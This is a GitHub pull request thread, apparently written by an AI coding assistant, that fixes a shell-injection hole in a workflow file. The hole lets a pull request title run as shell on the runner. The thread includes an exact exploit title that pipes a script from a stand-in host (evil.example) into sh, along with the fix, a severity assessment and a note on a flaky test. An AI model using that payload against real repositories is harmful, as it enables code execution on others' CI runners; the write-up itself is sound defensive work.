[roborourke]

The vulnerability

.github/workflows/pr-playground-preview.yml interpolated an attacker-controlled value directly into a run: block:

- name: Replace version with PR info
  run: |
      PR_VERSION="Pull Request #${{ github.event.pull_request.number }} - ${{ github.event.pull_request.title }}"
      sed -i "s/__VERSION__/$PR_VERSION/g" hm-url-tabs.php

GitHub Actions substitutes ${{ ... }} textually, before the shell parses the script, so the PR title breaks out of the quoted string and runs as shell on the runner. The PR number is numeric and safe; the title is not.

Exact exploit

A PR opened (or edited — the workflow triggers on edited, so just renaming an existing PR is enough) with the title:

a"; curl https://evil.example/x.sh | sh; #

expands the line to:

PR_VERSION="Pull Request #123 - a"; curl https://evil.example/x.sh | sh; #"

— i.e. the assignment ends, the curl … | sh runs, and the trailing # comments out the dangling quote.

Trigger, token scope, and severity — assessed, not inflated

• Trigger: on: pull_request (types opened, synchronize, reopened, edited) — not pull_request_target.
• Token scope: because it's plain pull_request, a fork PR runs with a read-only GITHUB_TOKEN and no access to secrets, regardless of the permissions: block. That caps the blast radius — this is not the worst-case (write token + secrets) class of injection.
• But it is not harmless: the injection step runs before the branch-push step, so an external fork PR could still achieve arbitrary code execution on the runner with a read-only token. The job uses actions/setup-node with cache: 'npm', so npm cache poisoning is a plausible escalation into later runs — including runs on the default branch that restore the same cache.
• No pull_request_target or issue_comment instance of this pattern exists in the repo, so there is no write-token/secrets variant to call out.

The fix

1. Drop the PR title entirely. The version is now stamped as a fixed, safe 0.0.0-pr<number> string.
2. Pass safe values through env: (PR_NUMBER, HEAD_SHA) so they reach the shell as data, not as source text, and are always quoted ("${PR_NUMBER}").
3. Add a fork guard on the job:

   if: github.event.pull_request.head.repo.full_name == github.repository

   Fork PRs get a read-only token, so the contents: write branch push would hard-fail anyway; skipping is cleaner and, as a side effect, removes the external-attacker path to the injection step entirely.

This mirrors the reviewed reference implementation now on main in humanmade/query-filter (.github/workflows/pr-playground-preview.yml).

Remaining ${{ }} in the touched file — triage

All remaining interpolations are safe sources, and none sit inside a run: block:

Line	Expression	Location	Why safe
16	…head.repo.full_name == github.repository	job if:	expression context, not a shell
32	github.event.pull_request.number	env:	numeric
50	github.event.pull_request.number	env:	numeric
51	github.event.pull_request.head.sha	env:	commit SHA (hex)
106	github.repository, …pull_request.number	with: blueprint string	repo slug + numeric, not a shell
111	secrets.GITHUB_TOKEN	with:	secret, not attacker input

Verification

• python3 -c "import yaml; yaml.safe_load(...)" passes on the modified workflow.
• Re-grepped ${{ across the file and confirmed every remaining hit is a safe source outside any run: block (table above).
• I cannot execute these workflows to prove the fix — GitHub Actions only runs them on a real event. Verification is static (YAML parse + re-grep) plus parity with the reviewed query-filter reference.

Out of scope — follow-ups (not fixed here)

• pr-cleanup.yml interpolates ${{ github.event.pull_request.number }} (numeric, safe) into a run: block and has no fork guard; its git push --delete needs contents: write and would fail on fork PRs. Worth the same env: + fork-guard treatment for consistency, but it's not an injection.
• release.yml (on main) interpolates ${{ github.event.release.tag_name }} into run: blocks. Release tags are set by users with write access, so this is not the fork-PR vector — lower severity, same class. Note it is already being replaced wholesale by Switch release workflow to manual trigger with version input #4 (manual workflow_dispatch with a regex-validated version input).
• Actions are pinned by tag (@v4, @v2) rather than by commit SHA; the query-filter reference pins by SHA. Supply-chain hardening, optional.

---

Generated by Claude Code

[github-actions]

Playwright test results

 10 skipped

Details

 10 tests across 2 suites
 10.9 seconds
 72ef74a

Skipped tests

chromium › multiple-endpoints.spec.js › Multiple endpoints - EP_CATEGORIES overview endpoint › Editor endpoint selector › endpoint selector appears in Tab Visibility panel with multiple registered endpoints
chromium › multiple-endpoints.spec.js › Multiple endpoints - EP_CATEGORIES overview endpoint › Editor endpoint selector › tab dropdown filters by selected endpoint
chromium › multiple-endpoints.spec.js › Multiple endpoints - EP_CATEGORIES overview endpoint › Editor endpoint selector › duplicate navigation blocks do not duplicate tabs in dropdown
chromium › multiple-endpoints.spec.js › Multiple endpoints - EP_CATEGORIES overview endpoint › category archive loads without endpoint
chromium › multiple-endpoints.spec.js › Multiple endpoints - EP_CATEGORIES overview endpoint › category archive loads with overview endpoint (no value)
chromium › multiple-endpoints.spec.js › Multiple endpoints - EP_CATEGORIES overview endpoint › category archive loads with overview endpoint and tab value
chromium › multiple-endpoints.spec.js › Multiple endpoints - EP_CATEGORIES overview endpoint › overview endpoint is distinct from tab endpoint on category archive
chromium › tab-navigation.spec.js › HM URL Tabs › should register tab variations for navigation links
chromium › tab-navigation.spec.js › HM URL Tabs › should show tab visibility controls when page has tabs
chromium › tab-navigation.spec.js › HM URL Tabs › should generate tab URLs correctly

[roborourke]

The one red check — Test PHP 8.3 / WP 6.8 — is a flaky Playground boot, not a real failure and unrelated to this change.

The beforeEach hook failed with:

Error: page.goto: net::ERR_CONNECTION_REFUSED at http://localhost:9400/wp-admin
  at tests/tab-navigation.spec.js:6:14

The WordPress Playground server never came up on that runner, so all three tab-navigation.spec.js tests failed at page.goto('/wp-admin') even after two retries. The other five matrix legs on the identical commit (72ef74a) — plus lint and build-and-preview — all passed, and earlier runs of this same commit reported the suite as all-skipped, so this is server-startup flakiness on a single leg rather than a regression.

This PR only edits .github/workflows/pr-playground-preview.yml, which the Playwright test job never reads, so it can't affect these tests. A re-run of that job should clear it — I've deliberately not pushed anything, since there's nothing here to fix and I don't want to add unrelated commits to a security PR.

---

Generated by Claude Code